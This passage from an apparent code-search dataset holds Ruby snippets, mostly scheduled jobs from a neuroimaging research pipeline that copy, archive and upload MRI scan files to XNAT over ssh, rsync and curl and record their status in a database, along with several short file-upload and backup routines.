Open3.popen3(v_call)\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n rescue => msg \n end\n end # loop thru file endings \n # find /bunzip bz2\n # v_script_dicom_clean command = \"./xnat_dicom_upload_cleaner.rb %s %s %s %s\" % (target_dir, meta_info['exportID'], project, session_label)\n # target_dir = v_target_dir + dicom dir\n # meta_info['exportID'] = scan[4]\n # project = v_project\n # session_label = v_xnat_session\n v_call = \"ssh panda_user@\"+v_computer+\".dom.wisc.edu \\\"\"+v_script_dicom_clean+\" '\"+v_working_directory+\"/\"+v_xnat_session+\"/\"+v_path_array.last+\"' '\"+scan[4].to_s+\"' '\"+v_project+\"' '\"+v_xnat_session+\"' \\\" \"\n #puts \"ddddd =\"+v_call\n\n begin\n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n rescue => msg \n end\n end\n if v_cnt_ids > 0 # no results\n # after last xnat_session, zip v_target_dir and xnat_seesion != zzzzzz\n # do xnat upload - curl command\n # update database table\n #v_call = \"ssh panda_user@\"+v_computer+\" 'cd \"+v_working_directory+\"; rm -rf \"+v_xnat_session+\"'\"\n v_call = \"ssh panda_user@\"+v_computer+\".dom.wisc.edu \\\"cd \"+v_working_directory+\"/;zip -r \"+v_xnat_session+\".zip \"+v_xnat_session+\"\\\"\"\n\n begin\n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n rescue => msg \n end\n # do xnat upload - curl command\n #$(curl -u ${USER}:${PASS} -o ${FILE}.log -w \"%{http_code}\" --form project=${PROJECT_ID} --form image_archive=@${FILE} \"${SITE}/data/services/import?format=html\")\n #$(curl -o ${FILE}.log -w \"%{http_code}\" --form project=${PROJECT_ID} --form image_archive=@${FILE} \"${SITE}/data/services/import?format=html\")\n # v_call = \"ssh panda_user@\"+v_computer+\".dom.wisc.edu \\\"cd /tmp; curl -u \"+v_xnat_user+\":'\"+v_pass+\"' -o \"+v_xnat_session+\".log -w \\\\\\\"%{http_code}\\\\\\\" --form project=\"+v_project+\" --form image_archive=@\"+v_xnat_session+\".zip https://\"+v_xnat_site+\"/data/services/import?format=html\\\" \"\n # puts v_call\n v_call = \"ssh panda_user@\"+v_computer+\".dom.wisc.edu \\\"cd /tmp; curl --netrc -o \"+v_xnat_session+\".log -w \\\\\\\"%{http_code}\\\\\\\" --form project=\"+v_project+\" --form image_archive=@\"+v_xnat_session+\".zip https://\"+v_xnat_site+\"/data/services/import?format=html\\\" \"\n v_log_file_path = \"/tmp/\"+v_xnat_session+\".log\" \n\n begin\n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n puts stdout.read 1024 \n end\n while !stderr.eof?\n puts stderr.read 1024\n end\n stdin.close\n stdout.close\n stderr.close\n rescue => msg \n end\n v_status =\"\"\n v_status_comment = \"\"\n v_call = \"rsync -av panda_user@\"+v_computer+\".dom.wisc.edu:/\"+v_log_file_path+\" \"+v_log_file_path\n begin\n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n rescue => msg \n end\n File.foreach(v_log_file_path).detect { |line| \n if line.include?(\"Session processing may already be in progress\")\n v_status ='F'\n v_status_comment = \"record already loaded:=\"+line\n elsif line.include?(\"following sessions have been uploaded\")\n v_status ='D'\n v_status_comment = \"recordloaded:=\"+line\n elsif line.include?(\"HTTP Status 401\")\n v_status ='F'\n v_status_comment = \"failed login:=\"+line\n elsif line.include?(\"RMR\")\n v_status ='F'\n v_status_comment = \"failed dicom cleaning:=\"+line\n else \n v_status ='F'\n v_status_comment = \"something unexpected:=\"+line\n end\n }\n \n v_call = \"rm -rf \"+v_log_file_path\n begin\n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n rescue => msg \n end\n\n puts \"aaaaa v_status =\"+v_status\n puts \"bbb v_status_comment =\"+v_status_comment \n sql_update = \"update \"+v_xnat_ids_tn+\" set \"+v_xnat_ids_tn+\".xnat_exists_flag = 'Y' \n where \"+v_xnat_ids_tn+\".visit_id = \"+v_visit_id.to_s+\" and \"+v_xnat_ids_tn+\".xnat_exists_flag = 'N'\n and \"+v_xnat_ids_tn+\".file_path in('\"+v_path_full_list_array.join(\"','\")+\"') \"\n \n if v_status == \"D\"\n results_update = connection.execute(sql_update)\n elsif v_status == \"F\" \n sql_update = \"update \"+v_xnat_ids_tn+\" set \"+v_xnat_ids_tn+\".xnat_exists_flag = 'Q' \n where \"+v_xnat_ids_tn+\".visit_id = \"+v_visit_id.to_s+\" and \"+v_xnat_ids_tn+\".xnat_exists_flag in ('N','Q')\n and \"+v_xnat_ids_tn+\".file_path in('\"+v_path_full_list_array.join(\"','\")+\"') \"\n results_update = connection.execute(sql_update)\n end\nputs \"hhhhh =\"+sql_update\n \n v_call = \"ssh panda_user@\"+v_computer+\".dom.wisc.edu 'cd \"+v_working_directory+\"; rm -rf \"+v_working_directory+\"/\"+v_xnat_session+\"'\"\n begin\n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n rescue => msg \n end\n \n v_call = \"ssh panda_user@\"+v_computer+\".dom.wisc.edu 'cd \"+v_working_directory+\"; rm -rf \"+v_working_directory+\"/\"+v_xnat_session+\".zip'\"\n begin\n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n rescue => msg \n end\n else\n v_comment = \"No scans selected to load \"+v_comment\n puts \"NOTHING...\"\n\n end\n @schedulerun.comment =(\"successful finish xnat_upload \"+v_comment_warning+\" \"+v_comment[0..1990])\n if !v_comment.include?(\"ERROR\")\n @schedulerun.status_flag =\"Y\"\n end\n @schedulerun.save\n @schedulerun.end_time = @schedulerun.updated_at \n @schedulerun.save\n\n end", "title": "" }, { "docid": "e125ee134e596b3950377c608c16115c", "score": "0.5917593", "text": "def run_fjell_20140506_upload\n v_base_path = Shared.get_base_path()\n v_log_base =\"/mounts/data/preprocessed/logs/\"\n v_process_name = \"fjell_20140506_upload\"\n process_logs_delete_old( v_process_name, v_log_base)\n @schedule = Schedule.where(\"name in ('fjell_20140506_upload')\").first\n @schedulerun = Schedulerun.new\n @schedulerun.schedule_id = @schedule.id\n @schedulerun.comment =\"starting fjell_20140506_upload -MOVED TO SHARED_RETIRED.rb\"\n @schedulerun.save\n @schedulerun.start_time = @schedulerun.created_at\n @schedulerun.save\n \n \n end", "title": "" }, { "docid": "7632f81ed4d7f152b02ae2aae4be10c4", "score": "0.58268523", "text": "def run_antuano_20130916_upload\n v_base_path = Shared.get_base_path()\n v_log_base =\"/mounts/data/preprocessed/logs/\"\n v_process_name = \"antuano_20130916_upload\"\n process_logs_delete_old( v_process_name, v_log_base)\n @schedule = Schedule.where(\"name in ('antuano_20130916_upload')\").first\n @schedulerun = Schedulerun.new\n @schedulerun.schedule_id = @schedule.id\n @schedulerun.comment =\"starting antuano_20130916_upload -MOVED TO SHARED_RETIRED.rb\"\n @schedulerun.save\n @schedulerun.start_time = @schedulerun.created_at\n @schedulerun.save\n \n end", "title": "" }, { "docid": "26d580b935c7d6b60328007b32256b7e", "score": "0.5816441", "text": "def start\n puts \"** #{self.class} is scanning for files... \" if Bolt.verbose?\n # build a file collection\n find_files\n puts \"** #{self.class} watching #{files.size} files... \"\n wait \n end", "title": "" }, { "docid": "d894ebf39329ddab315c3ebba7a748d6", "score": "0.57791716", "text": "def start_upload\n no_error = true # This is the value we expect from each of the following methods\n\n # Upload inspection\n no_error = upload_inspection\n\n # Upload inspection items\n no_error = upload_inspection_items if no_error\n\n # Upload inspection item photos\n no_error = upload_inspection_item_photo_to_remote if no_error\n\n no_error = upload_inspection_item_photos if no_error\n\n # Finalize inspection\n finalize_inspection if no_error\n end", "title": "" }, { "docid": "04ad991232ec1da47d86a04dbd725484", "score": "0.5747962", "text": "def run\n start\n transfer_unused_files\n generate_report\n generate_migration_html_report\n end", "title": "" }, { "docid": "b62c186732dfa72d2b68568e05391c89", "score": "0.5739378", "text": "def run_antuano_20130916_upload\n v_base_path = Shared.get_base_path()\n v_log_base =\"/mounts/data/preprocessed/logs/\"\n v_process_name = \"antuano_20130916_upload\"\n process_logs_delete_old( v_process_name, v_log_base)\n @schedule = Schedule.where(\"name in ('antuano_20130916_upload')\").first\n @schedulerun = Schedulerun.new\n @schedulerun.schedule_id = @schedule.id\n @schedulerun.comment =\"starting antuano_20130916_upload\"\n @schedulerun.save\n @schedulerun.start_time = @schedulerun.created_at\n @schedulerun.save\n v_comment = \"\"\n v_comment_warning =\"\"\n v_stop_file_name = v_process_name+\"_stop\"\n v_stop_file_path = v_log_base+v_stop_file_name\n connection = ActiveRecord::Base.connection();\n \n v_target_dir = \"/home/panda_user/upload_antuano_20130916\"\n v_final_target = \"ftp directory tbd\"\n v_series_description_category_array = ['T1_Volumetric','resting_fMRI']\n v_series_description_category_id_array = [19, 17]\n sql = \"select distinct subjectid, enrollment_id, scan_procedure_id, export_id from cg_antuano_20130916\n where ( done_flag != 'Y' or done_flag is NULL)\n and ( status_flag != 'N' or status_flag is NULL)\n and resting_fmri_flag ='Y'\n and t1_volumetric_flag = 'Y' \"\n results = connection.execute(sql)\n \n # get each subject , make target dir with export id\n # get each series decription / file name / nii file based on series_description_category\n # mkdir with series_description_category, # of scan - e.g. 3rd T1\n # copy over the .nii file, replace subjectid with export_id\n # bzip2 each subjectid dir\n results.each do |r|\n v_break = 0 # need a kill swith\n v_log = \"\"\n if File.file?(v_stop_file_path)\n File.delete(v_stop_file_path)\n v_break = 1\n v_log = v_log + \" STOPPING the results loop\"\n v_comment = \" STOPPING the results loop \"+v_comment\n end\n break if v_break > 0\n \n v_comment = \"strt \"+r[0]+\",\"+v_comment\n @schedulerun.comment =v_comment[0..1990]\n @schedulerun.save\n # update schedulerun comment - prepend \n sql_vgroup = \"select DATE_FORMAT(max(v.vgroup_date),'%Y%m%d' ) from vgroups v where v.id in (select evm.vgroup_id from enrollment_vgroup_memberships evm, enrollments e where evm.enrollment_id = e.id and e.enumber ='\"+r[0]+\"')\n and v.id in ( select scvg.vgroup_id from scan_procedures_vgroups scvg where scvg.scan_procedure_id in (26,24))\"\n results_vgroup = connection.execute(sql_vgroup)\n # mkdir /tmp/adrc_upload/[subjectid]_YYYYMMDD_wisc\n v_export_id = (@schedule.id).to_s+\"_\"+r[3].to_s\n v_subject_dir = v_export_id+\"_\"+(results_vgroup.first)[0].to_s+\"_wisc\"\n v_parent_dir_target =v_target_dir+\"/\"+v_subject_dir\n v_call = \"ssh panda_user@merida.dom.wisc.edu 'mkdir \"+v_parent_dir_target +\"' \"\n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n v_subjectid = r[0].gsub(\"_v2\",\"\").gsub(\"_v3\",\"\").gsub(\"_v4\",\"\").gsub(\"_v5\",\"\")\n sql_dataset = \"select distinct appointments.appointment_date, visits.id visit_id, image_datasets.id image_dataset_id, image_datasets.series_description, image_datasets.path, series_description_types.series_description_type \n from vgroups , appointments, visits, image_datasets, series_description_maps, series_description_types \n where vgroups.transfer_mri = 'yes' and vgroups.id = appointments.vgroup_id \n and appointments.id = visits.appointment_id and visits.id = image_datasets.visit_id\n and image_datasets.series_description = series_description_maps.series_description\n and series_description_maps.series_description_type_id = series_description_types.id\n and series_description_types.series_description_type in ('T1 Volumetic','T1 Volumetric','T1+Volumetric','T1_Volumetric','T1','resting_fMRI','resting fMRI','resting+fMRI') \n and vgroups.id in (select evm.vgroup_id from enrollment_vgroup_memberships evm, enrollments e where evm.enrollment_id = \"+r[1].to_s+\" and evm.enrollment_id = e.id and e.enumber ='\"+ v_subjectid+\"')\n and vgroups.id in (select spv.vgroup_id from scan_procedures_vgroups spv where spv.scan_procedure_id = \"+r[2].to_s+\" )\n order by appointments.appointment_date \"\n results_dataset = connection.execute(sql_dataset)\n v_folder_array = [] # how to empty\n v_scan_desc_type_array = []\n v_cnt = 1\n results_dataset.each do |r_dataset|\n v_series_description_type = r_dataset[5].gsub(\" \",\"_\")\n if !v_scan_desc_type_array.include?(v_series_description_type)\n v_scan_desc_type_array.push(v_series_description_type)\n end\n v_path = r_dataset[4]\n v_dir_array = v_path.split(\"/\")\n v_dir = v_dir_array[(v_dir_array.size - 1)]\n v_dir_target = v_dir+\"_\"+v_series_description_type\n v_path = v_path.gsub(\"/Volumes/team/\",\"\").gsub(\"/Volumes/team-1/\",\"\").gsub(\"/Data/vtrak1/\",\"\") #v_base_path+\"/\"+\n if v_folder_array.include?(v_dir_target)\n v_dir_target = v_dir_target+\"_\"+v_cnt.to_s\n v_cnt = v_cnt +1\n # might get weird if multiple types have dups - only expect T1/Bravo\n end\n v_folder_array.push(v_dir_target) \n \n v_call = \"ssh panda_user@merida.dom.wisc.edu 'mkdir \"+v_parent_dir_target +\"/\"+v_dir_target+\"' \"\n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n v_preprocessed_path = v_base_path+\"/preprocessed/visits/\"\n v_scan_procedure_path = ScanProcedure.find(r[2]).codename\n v_call = \"ssh panda_user@merida.dom.wisc.edu 'rsync -av \"+v_preprocessed_path+v_scan_procedure_path+\"/\"+ v_subjectid+\"/unknown/\"+ v_subjectid+\"_*_\"+v_dir+\".nii \"+v_parent_dir_target +\"/\"+v_dir_target+\"/\"+v_export_id+\"_\"+r_dataset[3].gsub(\" \",\"_\")+\"_\"+v_dir+\".nii '\"\n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n \n end\n \n #tar.gz subjectid dir\n v_call = \"cd \"+v_target_dir+\"; /bin/tar -zcf \"+v_subject_dir+\".tar.gz \"+v_subject_dir+\"/\"\n v_call = 'ssh panda_user@merida.dom.wisc.edu \" tar -C '+v_target_dir+' -zcf '+v_parent_dir_target+'.tar.gz '+v_subject_dir+'/ \" '\n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n # remove subjectid dir\n v_call = 'ssh panda_user@merida.dom.wisc.edu \" rm -rf '+v_parent_dir_target+' \"'\n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n \n # fsftp dir when set -- not practical - not using auto move\n # sftp -- shared helper hasthe username /password and address\n # v_username = Shared.panda_admin_sftp_username # get from shared helper -- leaving as panda_admin\n # v_passwrd = Shared.panda_admin_sftp_password # get from shared helperwhich is not on github\n # switch on new platform\n #v_username = Shared.panda_user_sftp_username # get from shared helper\n #v_passwrd = Shared.panda_user_sftp_password # get from shared helperwhich is not on github\n # v_ip = Shared.dom_sftp_host_address # get from shared helper\n # v_sftp_dir = Shared.antuano_target_path\n \n # problem that files are on merida, but panda running from nelson\n # need to ssh to merida as pand_admin, then sftp\n # v_source = \"panda_user@merida.dom.wisc.edu:\"+v_target_dir+'/'+v_subject_dir+\".tar.gz\"\n \n # v_target = v_sftp_dir+\"/\" #+v_subject_dir+\".tar.gz\"\n \n# puts \"aaaaaa v_source = \"+v_source\n# puts \"bbbbbb v_target = \"+v_target\n# Net::SFTP.start(v_ip, v_username, :password => v_passwrd) do |sftp|\n# sftp.upload!(v_source, v_target)\n# end\n# \n \n sql_done = \"update cg_antuano_20130916 set done_flag ='Y' where subjectid = '\"+r[0]+\"'\"\n results_done = connection.execute(sql_done)\n \n end # results\n \n @schedulerun.comment =(\"successful finish antuano_20130916_upload \"+v_comment_warning+\" \"+v_comment[0..1990])\n if !v_comment.include?(\"ERROR\")\n @schedulerun.status_flag =\"Y\"\n end\n @schedulerun.save\n @schedulerun.end_time = @schedulerun.updated_at \n @schedulerun.save\n \n end", "title": "" }, { "docid": "0b9ca9a2645d8a397b489fe968dd072f", "score": "0.573823", "text": "def begin_streaming\n # As per MiniSlots, file lists don't take up a slot\n if @listing == 'filelist'\n @file = File.open @client.local_file_list_path, 'rb'\n else\n @file = File.open @listing.path, 'rb'\n end\n\n @handshake_step = 11\n @file.seek @offset\n if @zlib\n @deflator = Zlib::Deflate.new\n client.debug 'upload', \"Enabling zlib compression on #{@file.path}\"\n end\n @sent = 0\n @looping = true\n\n client.channel << [:upload_started,\n {:nick => @other_nick, :file => @file.path}]\n\n stream_file\n end", "title": "" }, { "docid": "b79a620e244fe3f0aa95cb1aa50da468", "score": "0.57044995", "text": "def upload\n @files.each do |fn|\n run %{scp -q #{@local_dir}/#{fn} #{@host}:#{@remote_dir}}\n end\n end", "title": "" }, { "docid": "6f6bba0a2a407003a72036334dda6fd1", "score": "0.5694868", "text": "def upload(files)\n\tfiles.each {|f|\n\t\tputs \"\\nUploading: #{f}\"\n\t\t#Upload code here....\n\t\tsleep 2\n\t\tputs \"Done\\n\"\n\t}\n\nend", "title": "" }, { "docid": "e0d7e90f7d7a453aab6041e8a1c6b7f8", "score": "0.56264186", "text": "def ingest_legacy_content( depositor, dirname, current, total )\n\n assets = IngestHelpers.get_document_assets( dirname )\n puts \"Ingesting #{current} of #{total}: #{File.basename( dirname )} (#{assets.length} assets)...\"\n\n work_id = IngestHelpers.get_legacy_ingest_id(dirname )\n if work_id.blank?\n puts \"ERROR: no work id for #{File.basename( dirname )}, continuing anyway\"\n return false\n end\n\n work = TaskHelpers.get_work_by_id( work_id )\n if work.nil?\n puts \"ERROR: work #{work_id} does not exist, continuing anyway\"\n return false\n end\n\n # and upload each file\n assets.each do |asset|\n fileset = TaskHelpers.upload_file( depositor, work, File.join( dirname, asset[ :title ] ), asset[ :title ] )\n fileset.date_uploaded = DateTime.parse( asset[ :timestamp ] )\n fileset.save!\n end\n\n return true\n end", "title": "" }, { "docid": "ae29216e8e95948886187415b934be12", "score": "0.5608482", "text": "def run_selley_20130906_upload\n v_base_path = Shared.get_base_path()\n v_log_base =\"/mounts/data/preprocessed/logs/\"\n v_process_name = \"selley_20130906_upload\"\n process_logs_delete_old( v_process_name, v_log_base)\n @schedule = Schedule.where(\"name in ('selley_20130906_upload')\").first\n @schedulerun = Schedulerun.new\n @schedulerun.schedule_id = @schedule.id\n @schedulerun.comment =\"starting selley_20130906_upload -MOVED TO SHARED_RETIRED.rb\"\n @schedulerun.save\n @schedulerun.start_time = @schedulerun.created_at\n @schedulerun.save\n \n end", "title": "" }, { "docid": "054b06eea60ea652ab95a7d9bd64f773", "score": "0.55835205", "text": "def run\n begin \n @before_backup.call unless @before_backup.nil?\n \n create_tarball\n push_to_s3\n rotate_remote_backups\n \n @after_backup.call unless @after_backup.nil?\n ensure\n cleanup_files\n end\n end", "title": "" }, { "docid": "8f9ba934b4fe82d2d85953c95fc85cf6", "score": "0.55712336", "text": "def ingest_file(io,\n continue_job_chain: true,\n continue_job_chain_later: true,\n current_user: nil,\n delete_input_file: true,\n job_status:,\n uploaded_file_ids: [])\n use_valkyrie ? perform_ingest_file_through_valkyrie(io)\n : perform_ingest_file_through_active_fedora(io,\n continue_job_chain: continue_job_chain,\n continue_job_chain_later: continue_job_chain_later,\n current_user: current_user,\n delete_input_file: delete_input_file,\n job_status: job_status,\n uploaded_file_ids: uploaded_file_ids)\n end", "title": "" }, { "docid": "2536790db4262ffb58f946966cc16c86", "score": "0.5566112", "text": "def upload\n puts \"Uploading #{@upload_files.length} files...\" if @verbose\n @upload_files.each do |entry|\n if File.directory?(entry)\n make_dirs(entry)\n else\n put_file(entry)\n end\n end\n end", "title": "" }, { "docid": "a4e4bba17d552745c0d784e199664b75", "score": "0.5562022", "text": "def start\n Constellation::UserInterface.inform(\">> Starting file observation\", :prepend_newline => true)\n\n @config.watched_files.each { |file|\n @threads << Thread.new { read_log_entries(file) }\n }\n\n wait_for_interrupt\n end", "title": "" }, { "docid": "4c1bcbf050d73a495f8282b2d63cc9d4", "score": "0.5558388", "text": "def start\n\n #read in information from the server client file.\n read_config()\n \n #directory to watch\n @filepath = \"/home/dan/Documents/\"\n \n # create threads for server\n watch_thread = Thread.new{watching(@filepath)}\n while_thread = Thread.new{start_while()}\n watch_thread.join\n while_thread.join\n\n # Catch the interrupt and kill the threads\n rescue Interrupt\n Thread.kill(watch_thread)\n Thread.kill(while_thread)\n exit 0\n\n end", "title": "" }, { "docid": "20b41c2fa59d87b5e96b64c8db987944", "score": "0.55446786", "text": "def browse_everything_files\n change_set_persister.buffer_into_index do |buffered_changeset_persister|\n change_set.validate(pending_uploads: change_set.pending_uploads + new_pending_uploads)\n buffered_changeset_persister.save(change_set: change_set)\n end\n BrowseEverythingIngestJob.perform_later(resource.id.to_s, self.class.to_s, new_pending_upload_ids)\n redirect_to ContextualPath.new(child: resource, parent_id: nil).file_manager\n end", "title": "" }, { "docid": "8d12027e23479d843b1dcef725bcdfff", "score": "0.55434966", "text": "def ingest_files(parent: nil, resource: nil, files: [])\n @file_sets = []\n files.each do |f|\n logger.info \"Ingesting file #{f[:path]}\"\n @counter.increment\n file_set = FileSet.new\n file_set.attributes = f[:attributes]\n actor = FileSetActor.new(file_set, @user)\n if @file_association_method.in? ['batch', 'none']\n actor.create_metadata(nil, f[:file_opts])\n else\n actor.create_metadata(resource, f[:file_opts])\n end\n actor.assign_visibility(resource) unless\n assign_visibility?(f[:attributes])\n actor.create_content(decorated_file(f))\n ingest_ocr(actor, f)\n\n yaml_to_repo_map[f[:id]] = file_set.id\n @file_sets << file_set if @file_association_method == 'batch'\n ingest_thumbnail(file_set, resource, parent) if\n thumbnail_path?(f[:path])\n end\n MembershipBuilder.new(resource, @file_sets).attach_files_to_work if\n @file_sets.any?\n end", "title": "" }, { "docid": "9c98418804f030b907a0a1934cf7a22e", "score": "0.5543245", "text": "def upload_files(slaves,login,password)\n # Loop through each IP string\n slaves.each do |ip|\n @scp = Net::SCP.start(ip, login, :password => password) # Connect via SCP to box\n @ssh = Net::SSH.start(ip, login, :password => password) # Connect via SSH to box\n\n @ssh.exec!(\"killall -9 java\") # Kill all running instances of Java on the box\n\n # Take all the .csv files from the test_data folder and copy them to the box\n \n Dir[\"./test_data/*.*\"].each do |file|\n puts 'Uploading ' + file + ' to ' + ip\n @scp.upload! file, '/home/' + login + '/'\n end\n \n # Fork running Jmeter-server into another thread to prevent the main thread\n # getting stuck on waiting for Jmeter-server to close (which we don't want)\n \n @pid = fork{ \n @ssh.exec!(\"/home/\" + login + \"/jmeter/bin/jmeter-server -Jlocation=/home/\" + login + \"/apache-jmeter-2.6/bin/\") \n }\n end\nend", "title": "" }, { "docid": "d772cabb0c5cf180b1389c5750b11f46", "score": "0.55417633", "text": "def run_fjell_20140506_upload\n v_base_path = Shared.get_base_path()\n v_log_base =\"/mounts/data/preprocessed/logs/\"\n v_process_name = \"fjell_20140506_upload\"\n process_logs_delete_old( v_process_name, v_log_base)\n @schedule = Schedule.where(\"name in ('fjell_20140506_upload')\").first\n @schedulerun = Schedulerun.new\n @schedulerun.schedule_id = @schedule.id\n @schedulerun.comment =\"starting fjell_20140506_upload\"\n @schedulerun.save\n @schedulerun.start_time = @schedulerun.created_at\n @schedulerun.save\n v_comment = \"\"\n v_comment_warning =\"\"\n t = Time.now\n v_date_YM = t.strftime(\"%Y%m\") # just making monthly logs, prepend\n v_log_name =v_process_name+\"_\"+v_date_YM\n v_log_path =v_log_base+v_log_name\n v_stop_file_name = v_process_name+\"_stop\"\n v_stop_file_path = v_log_base+v_stop_file_name\n connection = ActiveRecord::Base.connection();\n \n v_target_dir = \"/home/panda_user/upload_fjell_20140506\"\n v_final_target = \"ftp directory tbd\"\n v_series_description_category_array = ['T1_Volumetric','resting_fMRI', 'T2','T2_Flair','DTI']\n v_series_description_category_id_array = [19, 17, 20, 23,4]\n sql = \"select distinct subjectid, enrollment_id, scan_procedure_id, export_id from cg_fjell_20140507\n where ( done_flag != 'Y' or done_flag is NULL)\n and ( status_flag = 'Y' or status_flag is NULL) \n and export_id is not null\" # and subjectid in ('mrt00097', 'pdt00034','pdt00035')\" # sending ppt with incomplete sets\n results = connection.execute(sql)\n \n # get each subject , make target dir with export id\n # get each series decription / file name / nii file based on series_description_category\n # mkdir with series_description_category, # of scan - e.g. 3rd T1\n # copy over the .nii file, replace subjectid with export_id\n # bzip2 each subjectid dir\n results.each do |r|\n v_break = 0 # need a kill swith\n v_log = \"\"\n if File.file?(v_stop_file_path)\n File.delete(v_stop_file_path)\n v_break = 1\n v_log = v_log + \" STOPPING the results loop\"\n v_comment = \" STOPPING the results loop \"+v_comment\n end\n break if v_break > 0\n \n v_comment = \"strt \"+r[0]+\",\"+v_comment\n @schedulerun.comment =v_comment_warning +\"; \"+v_comment[0..1990]\n @schedulerun.save\n # update schedulerun comment - prepend \n sql_vgroup = \"select distinct DATE_FORMAT(max(v.vgroup_date),'%Y%m%d' ) from vgroups v where v.id in (select evm.vgroup_id from enrollment_vgroup_memberships evm, enrollments e where evm.enrollment_id = e.id and e.enumber ='\"+r[0]+\"')\n and v.id in ( select scvg.vgroup_id from scan_procedures_vgroups scvg where scvg.scan_procedure_id in (37) and scvg.scan_procedure_id in (\"+r[2].to_s+\")) \"\n results_vgroup = connection.execute(sql_vgroup)\n # mkdir /tmp/adrc_upload/[subjectid]_YYYYMMDD_wisc\n v_export_id = (@schedule.id).to_s+\"_\"+r[3].to_s\n v_subject_dir = v_export_id+\"_\"+(results_vgroup.first)[0].to_s+\"_wisc\"\n v_parent_dir_target =v_target_dir+\"/\"+v_subject_dir\n v_call = \"ssh panda_user@merida.dom.wisc.edu 'mkdir \"+v_parent_dir_target +\"' \"\n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n v_subjectid = r[0].gsub(\"_v2\",\"\").gsub(\"_v3\",\"\").gsub(\"_v4\",\"\").gsub(\"_v5\",\"\")\n sql_dataset = \"select distinct appointments.appointment_date, visits.id visit_id, image_datasets.id image_dataset_id, image_datasets.series_description, image_datasets.path, series_description_types.series_description_type \n from vgroups , appointments, visits, image_datasets, series_description_maps, series_description_types \n where vgroups.transfer_mri = 'yes' and vgroups.id = appointments.vgroup_id \n and appointments.id = visits.appointment_id and visits.id = image_datasets.visit_id\n and image_datasets.series_description = series_description_maps.series_description\n and series_description_maps.series_description_type_id = series_description_types.id\n and series_description_types.series_description_type in ('T1 Volumetic','T1 Volumetric','T1+Volumetric','T1_Volumetric','T1','resting_fMRI','resting fMRI','resting+fMRI','T2','T2_Flair','T2+Flair') \n and vgroups.id in (select evm.vgroup_id from enrollment_vgroup_memberships evm, enrollments e where evm.enrollment_id = \"+r[1].to_s+\" and evm.enrollment_id = e.id and e.enumber ='\"+ v_subjectid+\"')\n and vgroups.id in (select spv.vgroup_id from scan_procedures_vgroups spv where spv.scan_procedure_id = \"+r[2].to_s+\" )\n order by appointments.appointment_date \"\n results_dataset = connection.execute(sql_dataset)\n v_folder_array = [] # how to empty\n v_scan_desc_type_array = []\n v_cnt = 1\n results_dataset.each do |r_dataset|\n v_series_description_type = r_dataset[5].gsub(\" \",\"_\")\n if !v_scan_desc_type_array.include?(v_series_description_type)\n v_scan_desc_type_array.push(v_series_description_type)\n end\n # for dual enrollments need ids path to get to unknown path/nii\n v_path = r_dataset[4]\n v_dir_array = v_path.split(\"/\")\n v_actual_scan_procedure = v_dir_array[4]\n v_subjectid_date_actual =v_subjectid\n if v_dir_array[5] == \"mri\"\n v_subjectid_date_actual = v_dir_array[6]\n else\n v_subjectid_date_actual = v_dir_array[5] \n end\n v_subject_date_actual_array = v_subjectid_date_actual.split(\"_\")\n v_subjectid_actual = v_subject_date_actual_array[0]\n\n v_dir = v_dir_array[(v_dir_array.size - 1)]\n v_dir_target = v_dir+\"_\"+v_series_description_type\n v_path = v_path.gsub(\"/Volumes/team/\",\"\").gsub(\"/Volumes/team-1/\",\"\").gsub(\"/Data/vtrak1/\",\"\") #v_base_path+\"/\"+\n if v_folder_array.include?(v_dir_target)\n v_dir_target = v_dir_target+\"_\"+v_cnt.to_s\n v_cnt = v_cnt +1\n # might get weird if multiple types have dups - only expect T1/Bravo\n end\n v_folder_array.push(v_dir_target) \n \n v_call = \"ssh panda_user@merida.dom.wisc.edu 'mkdir \"+v_parent_dir_target +\"/\"+v_dir_target+\"' \"\n stdin, stdout, stderr = Open3.popen3(v_call)\n while !stdout.eof?\n puts stdout.read 1024 \n end\n stdin.close\n stdout.close\n stderr.close\n v_preprocessed_path = v_base_path+\"/preprocessed/visits/\"\n v_scan_procedure_path = v_actual_scan_procedure # ScanProcedure.find(r[2]).codename\n # check if nii file exists\n if !Dir.glob(v_preprocessed_path+v_scan_procedure_path+\"/\"+ v_subjectid_actual+\"/unknown/\"+ v_subjectid_actual+\"_*_\"+v_dir+\".nii\").empty?\n puts \"FOUND \"+v_subjectid_actual+\"_*_\"+v_dir+\".nii \"\n v_call = \"ssh panda_user@merida.dom.wisc.edu 'rsync -av \"+v_preprocessed_path+v_scan_procedure_path+\"/\"+ v_subjectid_actual+\"/unknown/\"+ v_subjectid_actual+\"_*_\"+v_dir+\".nii \"+v_parent_dir_target +\"/\"+v_dir_target+\"/\"+v_export_id+\"_\"+r_dataset[3].gsub(\" \",\"_\")+\"_\"+v_dir+\".nii '\"\n\n stdin, stdout, stderr = Open3.popen3(v_call)\n while 